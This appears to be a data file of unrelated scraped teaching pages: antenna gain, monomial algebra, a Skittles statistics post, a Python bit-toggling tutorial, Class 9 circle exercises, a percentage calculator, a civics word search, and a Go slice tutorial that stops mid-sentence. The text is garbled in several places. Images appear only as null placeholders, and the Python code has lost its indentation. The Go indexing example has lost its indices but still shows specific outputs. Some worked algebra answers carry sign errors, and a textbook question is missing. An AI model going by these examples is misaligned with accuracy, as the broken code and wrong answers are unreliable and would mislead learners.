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[ "Antenna\n\n# What is Antenna gain ?\n\nAntenna gain is a very important part of the antenna knowledge structure, and of course it is also one of the important parameters for selecting an antenna. Antenna gain also plays an important role in the operation quality of the communication system. Generally speaking, the improvement of gain mainly depends on reducing the beam width of the vertical radiation, while maintaining the omnidirectional radiation performance in the horizontal plane.\n\nThe definition of antenna gain is: the ratio of the radiated power flux density of the antenna in a specified direction to the maximum radiated power flux density of the reference antenna at the same input power.\n\nThree points to note\n\nOne: Unless otherwise specified, the antenna gain refers to the gain in the maximum radiation direction;\n\nTwo: Under the same conditions, the higher the gain, the better the directivity, and the farther the distance of radio wave propagation, that is, the increased distance covered. However, the width of the wave velocity will not be compressed, and the narrower the wave lobe, the worse the uniformity of coverage.\n\nThree: The antenna is a passive device and will not increase the power of the signal. The antenna gain is often said to be relative to a certain reference antenna. Antenna gain is simply the ability to efficiently concentrate energy to radiate or receive electromagnetic waves in a particular direction.\n\nThe antenna gain is closely related to the antenna pattern, the narrower the main lobe and the smaller the side lobe, the higher the gain. Below we summarize some calculation formulas according to different types of antennas for reference.\n\nparabolic antenna\n\nIts gain can be approximated by the following formula:\n\nG(dBi) = 10Lg{4.5×(D/λ0)^2}\n\nNotice\n\nD: Paraboloid diameter\n\nλ0: central working wavelength\n\n4.5: Statistical empirical data\n\nVertical Omnidirectional Antenna\n\nIts gain can be approximated by the following formula:\n\nG(dBi)=10Lg{2L/λ0}\n\nNotice\n\nL: antenna length\n\nλ0: central working wavelength\n\ngeneral antenna\n\nIts gain can be approximated by the following formula:\n\nG(dBi)=10Lg{32000/(2θ3dB, E×2θ3dB, H)}\n\nNotice\n\nIn the formula, 2θ3dB,E and 2θ3dB,H are the half-power (3dB) lobe width of the antenna on the two main planes (E plane and H plane) respectively; 32000 is the statistical empirical data.\n\nThe radio frequency signal output by the radio transmitter is sent to the antenna through the feeder (cable), and is radiated by the antenna in the form of electromagnetic waves. After the electromagnetic wave reaches the receiving location, it is received by the antenna (only a small part of the power is received), and sent to the radio receiver through the feeder. Therefore, in wireless network engineering, it is very important to calculate the transmitting power of the transmitting device and the radiation capability of the antenna.\n\nThe transmitted power of radio waves refers to the energy within a given frequency range, and there are usually two measures or measurement standards:\n\nPower (W)\n\nRelative to 1 Watts (Watts) linear level.\n\nGain (dBm)\n\nRelative to the proportional level of 1 milliwatt (Milliwatt).\n\nThe two expressions can be converted to each other:\n\ndBm = 10 x log[power mW]\n\nmW = 10^[Gain dBm / 10 dBm]\n\nIn wireless systems, antennas are used to convert current waves into electromagnetic waves. During the conversion process, the transmitted and received signals can also be “amplified”. The measure of this energy amplification is called “Gain”. Antenna gain is measured in “dBi”.\n\nSince the electromagnetic wave energy in the wireless system is generated by the amplification and superposition of the transmitting energy of the transmitting device and the antenna, it is best to measure the transmitting energy with the same measurement-gain (dB), for example, the power of the transmitting device is 100mW, or 20dBm; the antenna The gain is 10dBi, then:\n\nTransmitting total energy = transmitting power (dBm) + antenna gain (dBi)\n\n= 20dBm + 10dBi\n\n= 30dBm\n\nOr: = 1000mW = 1W\n\nFlatten the “tire”, the more concentrated the signal, the greater the gain, the larger the antenna size, and the narrower the beam bandwidth.\n\nThe test equipment is signal source, spectrum analyzer or other signal receiving equipment and point source radiator.\n\nFirst use an ideal (approximately ideal) point source radiation antenna to add a power; then use a spectrum analyzer or a receiving device to test the received power at a certain distance from the antenna. The measured received power is P1;\n\nReplace the antenna under test, add the same power, repeat the above test at the same position, and the measured received power is P2;\n\nCalculate the gain: G=10Log(P2/P1)——In this way, the gain of the antenna is obtained.\n\n1 minute “antenna gain” summary\n\nOne: The antenna is a passive device and cannot generate energy. Antenna gain is simply the ability to efficiently concentrate energy to radiate or receive electromagnetic waves in a particular direction.\n\nTwo: The gain of the antenna is generated by the superposition of the vibrator. The higher the gain, the longer the antenna length. The gain is increased by 3dB and the volume is doubled.\n\nThree: The higher the antenna gain, the better the directivity, the more concentrated the energy, and the narrower the lobes." ]

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[ "## Definitions and examples\n\nA monomial is the product of numbers, variables, and powers. For example, the expressions 5a, 3ab2 and −62aa2b3 are monomials.\n\nHere are more examples of monomials:", null, "A monomial is also any single number, any variable, or any power. For example, number 9 is a monomial, variable x is a monomial, power 52 is a monomial.\n\n## Converting a monomial to the standard form\n\nConsider the following monomial:", null, "This monomial does not look very neat. To make it simpler, we need to reduce it to the standard form.\n\nTo reduce a monomial to the standard form is to multiply the same-type factors that make up the monomial. That is, numbers should be multiplied with numbers, variables with variables, powers with powers. As a result of these actions, we obtain a simplified monomial, which is identically equal to the previous one.\n\nAnother nuance is that powers can only be multiplied in a single term if they have the same bases.\n\nSo, let us reduce the monomial 3a25a3b2 to the standard form. This monomial contains numbers 3 and 5. Multiply them and we get number 15. Write it down:\n\n15\n\nThen the monomial 3a25a3b2 contains powers a2 and a3, which have the same base a. It is known from identical transformations with powers that when multiplying powers with the same base, the base is left unchanged, and the exponents are added. Then multiplication of powers a2 and a3 will result in a5. Write a5 next to number 15\n\n15a5\n\nNext, the monomial 3a25a3b2 contains the power of b2. There is nothing to multiply it with, so it remains unchanged. We write it as it is to the new monomial:\n\n15a5b2\n\nWe reduced the monomial 3a25a3b2 to the standard form. As a result, we obtained the monomial 15a5b2\n\n3a25a3b2 = 15a5b2\n\nThe numeric factor 15 is called the coefficient of the monomial. When converting a monomial to the standard form, the coefficient should be written first, and only then the variables and powers.\n\nIf there is no coefficient in a monomial, then the coefficient is said to be equal to one. Thus, the coefficient of the monomial abc is 1, since abc is the product of one and abc\n\nabc = × abc\n\nAnd the coefficient of the monomial -abc is -1, because -abc is the product of minus one and abc\n\n−abc = −1 × abc\n\nThe power of a monomial is the sum of the exponents of all the variables in the monomial.\n\nFor example, the power of the monomial 15a5b2 is 7. This is because the variable a has exponent 5, and the variable b has exponent 2. Hence 5 + 2 = 7. The exponent of the numerator 15 need not be counted, because we are interested only in the exponents of the variables.\n\nAnother example. The power of the monomial 7ab2 is 3. Here the variable a has exponent 1, and the variable b has exponent 2. Hence 1 + 2 = 3.\n\nIf a monomial does not contain variables or powers, but consists of a number, then we say that the power of such a monomial is zero. For example, the power of a monomial 11 is zero.\n\nThe power of a monomial should not be confused with the power of a number. The power of a number is the product of several identical factors, while the power of a monomial is the sum of the exponents of all variables in the monomial. There are no variables in the monomial 11, so its power is zero.\n\nExample 1. To reduce the monomial 5xx3ya2 to the standard form\n\nMultiply the numbers 5 and 3 to get 15. This will be the coefficient of the monomial:\n\n15\n\nThen the monomial 5xx3ya2 contains the variables x and x. Multiply them, and we get x2.\n\n15x2\n\nNext, the monomial 5xx3ya2 contains the variable y, which has nothing to multiply with. We write it down unchanged:\n\n15x2y\n\nThen the monomial 5xx3ya2 contains the power of a2, which also has nothing to multiply. We also leave it unchanged:\n\n15x2ya2\n\nWe obtained the monomial 15x2ya2, which is reduced to the standard form. Alphabetic factors are usually written in alphabetical order. Then the monomial 15x2ya2 takes the form 15a2x2y.\n\nTherefore, 5xx3ya2 = 15a2x2y.\n\nExample 2. To reduce the monomial 2m3× 0.4mn to the standard form\n\nMultiply numbers, variables, and powers separately.\n\n2m3× 0.4mn = 2 × 0.4 × m3 × m × n × n = 0.8m4n2\n\nNumbers, variables, and powers are allowed to be bracketed for multiplication. This is done for convenience. For example, in this example the multiplication of 2 and 0.4 can be put in brackets. Also the multiplication of m3 × m and n × n can be put in brackets.\n\n2m3n × 0.4mn = (2 × 0.4) × (m3 × m) × (n × n) = 0.8m4n2\n\nBut it is desirable to perform all elementary actions in mind. Thus, the solution can be written down much shorter:\n\n2m3n × 0.4mn = 0.8m4n2\n\nBut in order to be able to reduce a monomial to the standard form in your mind, the topic of multiplication of integers and multiplication of powers must be studied at a good level.\n\nMonomials can be added and subtracted. For this to be possible, they must have the same letter part. The coefficients can be any. The addition and subtraction of monomials is essentially the reduction of like terms, which we discussed in our study of letter expressions.\n\nTo add (subtract) monomials, add (subtract) their coefficients, and leave the letter part unchanged.\n\nExample 1. Add the monomials 6a2b and 2a2b\n\n6a2b + 2a2b\n\nLet's add the coefficients 6 and 2, and leave the letter part 6a2b unchanged\n\n6a2b + 2a2b = 8a2b\n\nExample 2. Subtract from the monomial 5a2b3 the monomial 2a2b3\n\n5a2b3 − 2a2b3\n\nYou can replace subtraction with addition, and add the coefficients of the monomials, leaving the letter part unchanged:\n\n5a2b3 − 2a2b3 = 5a2b3 + (−2a2b3) = 3a2b3\n\nOr subtract the coefficient of the second monomial from the coefficient of the first monomial, and leave the letter part unchanged:\n\n5a2b3 − 2a2b3 = 3a2b3\n\n## Multiplication of monomials\n\nMonomials can be multiplied. To multiply monomials, you must multiply their numeric and alphabetic parts.\n\nExample 1. Multiply the monomials 5x and 8y\n\nLet us multiply the numeric and alphabetic parts separately. For convenience, the multipliers to be multiplied will be enclosed in brackets:\n\n5x × 8y = (5 × 8) × (x × y) = 40xy\n\nExample 2. Multiply the monomials 5x2y3 and 7x3y2c\n\nLet us multiply the numeric and alphabetic parts separately. During multiplication we will apply the rule of multiplication of powers with equal bases. We will put the multiplied factors in brackets:\n\n5x2y3 × 7x3y2c = (5 × 7) × (x2x3) × (y3y2) × c = 35x5y5c\n\nExample 3. Multiply the monomials −5a2bc and 2a2b4\n\n−5a2bc × 2a2b4 = (−5 × 2) × (a2a2) × (bb4) × c = −10a4b5c\n\nExample 4. Multiply the monomials x2y5 and (−6xy2)\n\nx2y5 × (−6xy2) = −6 × (x2x) × (y5y2) = −6x3y7\n\nExample 5. Find the value of the expression", null, "", null, "## Division of monomials\n\nA monomial can be divided by another monomial. To do this, divide the coefficient of the first monomial by the coefficient of the second monomial, and divide the letter part of the first monomial by the letter part of the second monomial. The rule of division of powers is used.\n\nFor example, divide the monomial 8a2b2 by the monomial 4ab. Write this division as a fraction:", null, "We will call the first monomial 8a2b2 a dividend, and the second 4ab a divisor. We will call the resulting monomial the coefficient.\n\nDivide the coefficient of the dividend by the coefficient of the divisor, we get 8 : 4 = 2. In the original expression we put an equal sign and write this coefficient of the coefficient of the coefficient:", null, "Now divide the letter part. The dividend contains a2, the divisor contains just a. Divide a2 by a, we get a, because a2 : a = a2 - 1 = a. We write in the coefficient a after 2", null, "Next, the dividend contains b2, the divisor contains just b. We divide b2 by b, we get b, because b2 : b = b2 - 1 = b. We write in the coefficient b after a", null, "So, dividing the monomial 8a2b2 by the monomial 4ab results in the monomial 2ab.\n\nYou can check right away. When you multiply the coefficient by the divisor, you should get the dividend. In our case, if 2ab is multiplied by 4ab, you should get 8a2b2\n\n2ab × 4ab = (2 × 4) × (aa) × (bb) = 8a2b2\n\nIt is not always possible to divide the first one by the second one. For example, if the divisor has a variable that is not in the dividend, then division is impossible.\n\nFor example, the monomial 6xy2 cannot be divided by the monomial 3xyz. The divisor 3xyz contains a variable z that is not contained in the dividend 6xy2.\n\nSimply put, we cannot find a coefficient which, when multiplied by the divisor 3xyz, would result in a dividend of 6xy2, because that multiplication would necessarily contain a variable z that does not exist in 6xy2.\n\nBut if the dividend contains a variable that is not in the divisor, then division will be possible. In this case, the variable that was not in the divisor will be transferred to the coefficient unchanged.\n\nFor example, dividing a monomial 4x2y2z by 2xy yields 2xyz. First divide 4 by 2 to get 2, then x2 divided by x to get x, then y2 divided by y to get y. Then we proceeded to divide variable z by the same variable in the divisor, but found that there was no such variable in the divisor. So we transferred the variable z to the coefficient without changing it:", null, "To check, multiply the coefficient 2xyz by the divisor 2xy. The result should be the monomial 4x2y2z\n\n2xyz × 2xy = (2 × 2) × (xx) × (yy) × = 4x2y2z\n\nBut in some fractions, if division is not possible, it is possible to perform reduction. This is done to simplify the expression.\n\nThus, in the previous example, it was impossible to divide the monomial 6xy2 by the monomial 3xyz. But it is possible to reduce this fraction by a monomial 3xy. Recall that fraction reduction is the division of the numerator and denominator by the same number (in our case, by the monominant 3xy). As a result, the fraction becomes simpler, but its value does not change:", null, "In the numerator and denominator we come to the division of the monomials, which can be done:", null, "The division process is usually done in your head by writing the result above the numerator and denominator:", null, "Example 2. Divide the monomial 12a2b3c3 by the monomial 4a2bc", null, "Example 3. Divide the monomial x2y3z by the monomial xy2", null, "Additionally, let us mention that dividing a monomial by a monomial is also impossible if one of the powers included in the dividend has an index smaller than the index of the same power from the divisor.\n\nFor example, we cannot divide a monomial 2x by a monomial x2 because the power of x that is part of the divisor has an index of 1, while the power of x2 that is part of the divisor has an index of 2. We cannot find a coefficient that, when multiplied with the divisor x2, would result in the dividend 2x.\n\nOf course, we can divide x by x2, using the property of the power with an integer:", null, "and such a coefficient multiplied with the divisor x2 will result in a dividend of 2x", null, "But so far we are interested only in those coefficients which are so-called integer expressions. Integer expressions are those expressions that are not fractions, the denominator of which contains a letter expression. And a coefficient", null, "is not an integer expression. It is a fractional expression with a letter expression in the denominator.\n\n## Expanding a monomial to a power\n\nA monomial can be raised to a power. To do this, use the Power of a Power Rule (Exponents).\n\nExample 1. Raise the monomial xy to the second power.\n\nTo raise the monominant xy to the second power, you must raise to the second power each factor of this monominant\n\n(xy)2 = x2y2\n\nExample 2. Raise the monomial −5a3b to the second power.\n\n(−5a3b)2 = (−5)2 × (a3)2 × b2 = 25a6b2\n\nExample 3. Raise the monomial −a2bc3 to the fifth power.\n\nIn this example, the coefficient of the monomial is -1. This coefficient must also be raised to the fifth power:\n\n(−a2bc3)5 = (−1)5 × (a2)5 × b5 × (c3)5 = −1a10b5c15 = −a10b5c15\n\nWhen the coefficient is equal to -1, the unit itself is not written down. Only the minus and then the other factors of the monomial are written down. In the above example we first obtain the monomial −1a10b5c15, then it was replaced by the identically equal monomial a10b5c15.\n\nExample 4. Present the monomial 4x2 as a squared monomial.\n\nIn this example, we need to find a product that is equal to 4x2 in the second power. Obviously, it is the product of 2x. If this product is raised to the second power (squared), then we get 4x2\n\n(2x)2 = 22x2 = 4x2\n\nSo 4x2 = (2x)2. The expression (2x)2 is a squared monomial.\n\nExample 5. Represent the monomial 121a6 as a squared monomial.\n\nLet's try to find a product that is equal to the expression 121a6 in the second power.\n\nFirst of all, note that number 121 is obtained if number 11 is squared. That is, we found the first factor of the future product. The power of a6 is obtained by squaring the power of a3. Thus the second factor of the future product is a3.\n\nThus, if the product of 11a3 is squared to the second power we obtain 121a6\n\n(11a3)2 = 112 × (a3)2 = 121a6\n\nSo 121a6 = (11a3)2. The expression (11a3)2 is the squared monomial.\n\n## Decomposition of a monomial into factors\n\nSince a monomial is the product of numbers, variables, and powers, it can be decomposed into the factors it consists of.\n\nExample 1. Decompose the monomial 3a3b2 into factors\n\nThis monomial can be decomposed into the factors 3, a, a, a, b, b\n\n3a3b2 = 3aaabb\n\nEither the power of b2 does not need to be decomposed into the factors b and b\n\n3a3b2 = 3aaab2\n\nEither the power of b2 can be decomposed into the factors b and b, and the power of a3 can be left unchanged.\n\n3a3b2 = 3a3bb\n\nHow to represent the monomial depends on the task to be solved. The main thing is that the decomposition must be identically equal to the original monomial.\n\nExample 2. Decompose the monomial 10a2b3c4 into factors.\n\nDecompose coefficient 10 into factors 2 and 5, decompose power a2 into factors aa, decompose power b3 into factors bbb, and decompose power c4 into factors cccc\n\n10a2b3c4  = 2 × 5 × aabbbcccc\n\nTask 1. Reduce the monomial -2aba to the standard form.\n\nSolution:\n−2aba = −2a2b\nTask 2. Reduce the monomial 0.5m × 2n to the standard form.\n\nSolution:\n0.5m × 2n = (0.5 × 2)(mn) = 1mn = mn\nTask 3. Reduce the monomial −8ab(−2.5)b2 to the standard form.\n\nSolution:\n−8ab(−2.5)b2 = −8 × (−2.5) × a × (b × b2) = 20ab3\nTask 4. Reduce the monomial 0.15pq × 4pq2 to the standard form.\n\nSolution:", null, "Task 5. Reduce the monomial −2x× 0.5xy2 to the standard form.\n\nSolution:", null, "Task 6. Reduce the monomial 2m3× 0.4mn to the standard form.\n\nSolution:", null, "Task 7. Reduce the monomial", null, "to the standard form.\n\nSolution:", null, "Task 8. Reduce the monomial", null, "to the standard form.\n\nSolution:", null, "Task 9. Multiply the monomials 2x and 2y\n\nSolution:\n2x × 2y = 4xy\nTask 10. Multiply the monomials 6x, 5x, and y\n\nSolution:\n6x × 5x × y = 30x2y\nTask 11. Multiply the monomials 2x2, 2x3 and y2\n\nSolution:\n2x2 × 2x3 × y2 = (2 × 2) × (x2x3) × y2 = 4x5y2\nTask 12. Multiply the monomials −8x and 5x3\n\nSolution:\n−8x × 5x3 = (−8 × 5)×(xx3) = −40x4\nTask 13. Multiply the monomials x2y5 and (−6xy2)\n\nSolution:\nx2y5 × (−6xy2) = −6 × (x2x) × (y5y2) = −6x3y7", null, "Solution:", null, "", null, "Solution:", null, "Task 16. Raise the monomial x2y2z2 to the third power\n\nSolution:\n(x2y2z2)3 = (x2)3 × (y2)3 × (z2)3 = x6y6z6\nTask 17. Raise the monomial xy2z3 to the fifth power.\n\nSolution:\n(xy2z3)5 = x5 × (y2)5 × (z3)5 = x5y10z15\nTask 18. Raise the monomial 4x to the second power.\n\nSolution:\n(4x)2 = 42 × x2 = 16x2\nTask 19. Raise the monomial 2y3 to the third power.\n\nSolution:\n(2y3)3 = 23 × (y3)3 = 8y9\nTask 20. Raise the monomial -0.6x3y2 to the third power.\n\nSolution:\n(−0.6x3y2)3 = (−0.6)3 × (x3)3 × (y2)3= −0.216x9y6\nTask 21. Raise the monomial -x2yz3 to the fifth power.\n\nSolution:\n(−x2yz3)5 = (−x2)5 × y5 × (z3)5= −x10y5z15\nTask 22. Raise the monomial -x3y2z to the second power.\n\nSolution:\n(−x3y2z)2 = (−x3)2 × (y2)2 × z2 = x6y4z2\nTask 23. Represent the monomial -27x6y9 as a monomial raised to a cube.\n\nSolution:\n−27x6y9 = (−3x2y3)3\nTask 24. Represent the monomial −a3b6 as a monomial raised to a cube.\n\nSolution:\na3b6 = (−ab2)3\nTask 25. Perform division", null, "Solution:", null, "Task 26. Perform division", null, "Solution:", null, "Task 27. Perform division", null, "Solution:", null, "Task 28. Perform division", null, "Solution:", null, "Task 29. Perform division", null, "Solution:", null, "Task 30. Perform division", null, "Solution:", null, "", null, "" ]

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[ "# Never enough… red skittles\n\nRed skittles are scarce. At least that’s always been my impression every time I open a mini pack we get as halloween candy. Too many yellows, too many greens. Never enough reds.  Possiblywrong recently published some data on 468 packs of skittles looking for duplicate packs. I wanted to use his research data to answer a different question: Are red skittles scarce compared to the other colors?\n\nUsing his data and the statistical analysis tools given to me by my MBA professor (Robert Dauffenbach) we can answer this question.  First the raw data- in 468 packs of skittles there were 5583 reds, 5499 oranges, 5688 yellows, 5301 greens, and 5669 purples.  Averaged out it is real close to 12 skittles of each color in a pack.", null, "Close to uniform, but not exactly uniform.  Let’s analyze this further:\n\nFrom his raw data the standard deviations of number of candies by color is about 3.2.  Here is the compiled data:", null, "So, true population averages appear to be 12 candies of each color with a standard deviation of 3.2 per color (in one bag). Now the central limit theorem will help us here- even though the underlying distribution is uniform, a distribution of sample averages will be normal, assuming n is sufficiently large, and n=468 definitely satisfies this requirement (n>=30 is probably all we need to get from uniform parent to normal sampled means).   Now if we make the assumption that the population means and standard deviations are 12 and 3.25 respectively, we can answer the question if the difference in Yellows (12.15) to Reds (11.93) is statistically significant.  The standard error of the mean is the standard deviation over the square root of the number of samples = 3.25/sqrt(468) = 0.15.   That means if we have have 12.15 yellows, that’s one standard error of the mean from 12, a result we should find 68% of the time.  In other words not statistically significant.   (Busted — yellows are not more common).  Reds with a z-score of -0.47 are also within 1 standard deviation of the standard error of the mean meaning reds are plentiful — they are not held back, regardless of what I think.\n\nHowever, the data does point to one outlier — greens. At an average of 11.33 that is -4.52 standard deviations below what’s expected.  The probability associated with a z-score of -4.5 is about 1/100,000 — meaning if it was a daily possibility you expect to find it 1 day in 275 years.  That is statistically significant and the null hypothesis that greens are filled at 12 per pack is rejected.  The alternative hypothesis is accepted, and that implication is that skittles intentionally under-fills green in order to keep packs at 59 per pack and not at 60.\n\nWho would have thunk it? Greens!!" ]

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[ "", null, "# Python Program to Toggle the Last m Bits\n\nIn the previous article, we have discussed Python Program to Count Minimum Bits to Flip such that XOR of A and B Equal to C\n\nGiven a number n, the task is to toggle the last m bits of the given number in its binary representation.\n\nToggling:\n\nA toggling operation changes the value of a bit from 0 to 1 and from 1 to 0.\n\nlet Given number =30 m=3\n\nThe binary representation of 30=11110\n\nBinary representation after toggling the last 3 bits is =11001\n\nDecimal equivalent after toggling =25\n\nExamples:\n\nExample1:\n\nInput:\n\nGiven Number = 30\nGiven m value = 3\n\nOutput:\n\nThe given number{ 30 } after toggling the given last m { 3 } bits = 25\n\nExample2:\n\nInput:\n\nGiven Number = 45\nGiven m value = 2\n\nOutput:\n\nThe given number{ 45 } after toggling the given last m { 2 } bits = 46\n\n## Program to Toggle the Last m Bits in Python\n\nBelow are the ways to toggle the given last m bits of a given number in python:\n\n### Method #1: Using Xor(^) Operator (Static Input)\n\nApproach:\n\n• Give the number as static input and store it in a variable.\n• Give the value of m as static input and store it in another variable.\n• Pass the given number, m value as the arguments to the toglng_lstmbits function.\n• Create a  function to say toglng_lstmbits which takes the given number, m value as the arguments and returns the number after toggling the given last m bits.\n• Apply the left shift operator to 1 and the above-given m value and subtract 1 from it.\n• Store it in another variable.\n• Return the XOR value of the given number and the above result.\n• Print the number after toggling the given last m bits.\n• The Exit of the Program.\n\nBelow is the implementation:\n\n# Create a  function to say toglng_lstmbits which takes the given number, m value as the\n# arguments and returns the number after toggling the given last m bits.\n\ndef toglng_lstmbits(gvn_numb, m):\n# Apply the left shift operator to 1 and the above-given m value and subtract 1 from it.\n# Store it in another variable.\nfnl_numbr = (1 << m) - 1\n# Return the XOR value of the given number and the above result.\nreturn (gvn_numb ^ fnl_numbr)\n\n# Give the number as static input and store it in a variable.\ngvn_numb = 30\n# Give the value of m as static input and store it in another variable.\nm = 3\n# Pass the given number, m value as the arguments to the toglng_lstmbits function.\n# Print the number after toggling the given last m bits.\nprint(\"The given number{\", gvn_numb, \"} after toggling the given last m {\",\nm, \"} bits = \", toglng_lstmbits(gvn_numb, m))\n\n\nOutput:\n\nThe given number{ 30 } after toggling the given last m { 3 } bits = 25\n\n### Method #2: Using Xor(^) Operator (User Input)\n\nApproach:\n\n• Give the number as user input using the int(input()) function and store it in a variable.\n• Give the value of m as user input using the int(input()) function and store it in another variable.\n• Pass the given number, m value as the arguments to the toglng_lstmbits function.\n• Create a  function to say toglng_lstmbits which takes the given number, m value as the arguments and returns the number after toggling the given last m bits.\n• Apply the left shift operator to 1 and the above-given m value and subtract 1 from it.\n• Store it in another variable.\n• Return the XOR value of the given number and the above result.\n• Print the number after toggling the given last m bits.\n• The Exit of the Program.\n\nBelow is the implementation:\n\n# Create a  function to say toglng_lstmbits which takes the given number, m value as the\n# arguments and returns the number after toggling the given last m bits.\n\ndef toglng_lstmbits(gvn_numb, m):\n# Apply the left shift operator to 1 and the above-given m value and subtract 1 from it.\n# Store it in another variable.\nfnl_numbr = (1 << m) - 1\n# Return the XOR value of the given number and the above result.\nreturn (gvn_numb ^ fnl_numbr)\n\n# Give the number as user input using the int(input()) function and store it in a variable.\ngvn_numb = int(input(\"Enter some random number = \"))\n# Give the value of m as user input using the int(input()) function and\n# store it in another variable.\nm = int(input(\"Enter some random number = \"))\n# Pass the given number, m value as the arguments to the toglng_lstmbits function.\n# Print the number after toggling the given last m bits.\nprint(\"The given number{\", gvn_numb, \"} after toggling the given last m {\",\nm, \"} bits = \", toglng_lstmbits(gvn_numb, m))\n\n\nOutput:\n\nEnter some random number = 45\nEnter some random number = 2\nThe given number{ 45 } after toggling the given last m { 2 } bits = 46\n\nThe best way to learn Python for Beginners is to practice as much as they can taking help of the Sample Python Programs For Beginners. Using them you can develop code on your own and master coding skills." ]

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[ "# Class 9, NCERT (CBSE) Mathematics | Chapter 10, CIRCLES\n\nClass IX, Mathematics (Circles)\nNCERT (CBSE) Textbook Exercise 10.1 Solution\n(Page 171)\nQ1: Fill in the blanks\n(i) The centre of a circle lies in __________ of the circle. (exterior/ interior)\n(ii) A point, whose distance from the centre of a circle is greater than its radius lies in __________ of the circle. (exterior / interior)\n(iii) The longest chord of a circle is a __________ of the circle.\n(iv) An arc is a __________ when its ends are the ends of a diameter.\n(v) Segment of a circle is the region between an arc and __________ of the circle.\n(vi) A circle divides the plane, on which it lies, in __________ parts.\nAns 1:\n(i) The centre of a circle lies in interior of the circle.\n(ii) A point, whose distance from the centre of a circle is greater than its radius lies in exterior of the circle.\n(iii) The longest chord of a circle is a diameter of the circle.\n(iv) An arc is a semi-circle when its ends are the ends of a diameter.\n(v) Segment of a circle is the region between an arc and chord of the circle.\n(vi) A circle divides the plane, on which it lies, in three parts.\n\n(i) Line segment joining the centre to any point on the circle is a radius of the circle.\n(ii) A circle has only finite number of equal chords.\n(iii) If a circle is divided into three equal arcs, each is a major arc.\n(iv) A chord of a circle, which is twice as long as its radius, is a diameter of the circle.\n(v) Sector is the region between the chord and its corresponding arc.\n(vi) A circle is a plane figure.\nAns 2:\n(i) True. All the points on the circle are at equal distances from the centre of the circle, and this distance is called as radius of the circle.\n(ii) False. There are infinite points on a circle and we can draw infinite number of chords of given length. Hence, a circle has infinite number of equal chords.\n(iii) False. Because of each arc, the remaining arc will have greater length.\n(iv) True. Twice the length of radius of any circle is its diameter.\n(v) False by virtue of its definition.\n(vi) True. A circle is always two-dimensional figure which is also a part of a plane." ]

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[ "# 103 is what percent of 100?\n\nAnswer: 103 is 103 percent of 100\n\n## Fastest method for calculating 103 is what percent of 100\n\nAssume the unknown value is 'Y', and 103 of 100 can be written as:\n\nY = 103 / 100\n\nBy multiplying both numerator and denominator by 100 we will get:\n\nY = 103 / 100 x 100 / 100 = 103 / 100\n\nY = 103%\n\nAnswer: 103 is 103 percent of 100\n\nIf you want to use a calculator, simply enter 103÷100x100 and you will get your answer which is 103\n\nYou may also be interested in:\n\nHere is a calculator to solve percentage calculations such as 103 is what percent of 100. You can solve this type of calculation with your own values by entering them into the calculator's fields, and click 'Calculate' to get the result and explanation.\n\nis what percent of\n?\n%\n\n## Have time and want to learn the details?\n\nLet's solve the equation for Y by first rewriting it as: 100% / 100 = Y% / 103\n\nDrop the percentage marks to simplify your calculations: 100 / 100 = Y / 103\n\nMultiply both sides by 103 to isolate Y on the right side of the equation: 103 ( 100 / 100 ) = Y\n\nComputing the left side, we get: 103 = Y\n\nThis leaves us with our final answer: 103 is 103 percent of 100" ]

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[ "", null, "", null, "", null, "", null, "", null, "", null, "", null, "", null, "### Alex Nystrom\n\n n u t o t n a t t a c k a d s e g c u a p k o n t p i o k t n i e e a c t d n s n l e y i t g o y s a i e m y t r a p d i r h t t t t n i l i t e y m a j o r i t y t p o l a n a n m l t n e l e c t o r a l c o l l e g e c e a s i w c p v n o n e e i e v a e m e m i d g t t g n u o n o r e m h i t t l g l n f a i e l c n n m l m m a m r s e f e y e o i o n r l u a i s b i g d r n g k o c m d i t c m a o i s s t c e t t r e g c r t r r t n o i t n e v n o c g n i t a n i m o n e r e n s p m l e i o f i k t c n h t l r n p o d s d u r o e n r c t r a i i g t l a c u p i t p e c i s r s p l m t l i a i k t e s p y i l r m u m t s l g a o s i s l s e t r a t t u o l o a a a u n n c n i s p p l a t e r u r t e a c c r t s r i i e d s e a e i r a e a n c i c r g y r n a k t y e u i r o r p n l l a - e k a t - r e n n i w r e c t l t t i b t e k c i t g n i c n a l a b a i y o s t g s v o s p l i n t e r g r o u p d m l p y l r e p u b l i c a n n l e f p c n s\n politicial party grassroots movement platform party identification Democratic Republican Electoral College census reapportionment redistricting plurality majority splinter group thrid party winner-take-all electorate constituents split ticket voting incumbent franking privilege primary super delegate nominating convention caucus pollster image consultant political consultant balancing ticket soft money hard money issue ads attack ads realignment\n\nSome of the puzzles that people list for the public get indexed by the search engines (like Google). Some people find those puzzles and cannot figure out how to make a puzzle of their own. So this page now has the navigation sidebar.\n\nThere are now buttons on the puzzle so that you can get a clean page, in either HTML or PDF, that you can use your browser's print button to print. The PDF format allows the web site to know how large a printer page is, and the fonts are scaled to fill the page. The PDF takes awhile to generate. Don't panic!", null, "Web armoredpenguin.com" ]

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[ "## Golang Slice\n\nGolang Slice is an abstraction over Array. While Arrays cannot be expanded or shrinked in size, Slices are dynamically sized. Golang Slice provides many inbuilt functions, which we will go through them in this tutorial.\n\n### Declare a Slice\n\nTo declare a golang slice, use `var` keyword with variable name followed by `[]T` where T denotes the type of elements that will be stored in the slice.\n\n`var slicename []T`\n\nwhere slicename is the name using which we can refer to the slice.\n\n### Initialize a Slice\n\nYou can initialize a Golang Slice with elements or you can specify the size and capacity of the Slice with no initial values mentioned.\n\nexample.go\n\n```package main\n\nimport \"fmt\"\n\nfunc main() {\nvar numbers []int\nnumbers = []int {5, 1, 9, 8, 4}\nfmt.Println(numbers)\n}```\n\nOutput\n\n`[5 1 9 8 4]`\n\nYou can also combine the declaration and initialization into single statement.\n\n`var numbers = []int {5, 1, 9, 8, 4}`\n\nUsing short variable declaration, we can skip using var keyword as well. So, the code snippet for initializing a slice with predefined values boils down to\n\n`numbers := []int {5, 1, 9, 8, 4}`\n\nIf you would like to initialize with a size and capacity, use the following syntax.\n\n```// declaration and initialization\nvar numbers = make([]int, 5, 10)\n\n// or\n\n// short variable declaration\nnumbers2 := make([]int, 5, 10)```\n\n### Access Elements of Slice\n\nWe can use indexing mechanism to access elements of a slice. In the following example, we initialize a slice and access its elements at index `2` and `3`.\n\nexample.go\n\n```package main\n\nimport \"fmt\"\n\nfunc main() {\nvar numbers = []int {5, 8, 14, 7, 3}\n\n// access elements of slice using index\nnum2 := numbers\nnum3 := numbers\n\nfmt.Println(\"numbers : \", num2)\nfmt.Println(\"numbers : \", num3)\n}```\n\nOutput\n\n```numbers : 14\nnumbers : 7```\n\n### Length and Capacity of a Slice\n\nSlice has two properties regarding the number of elements present in slice (length) and the number of elements it can 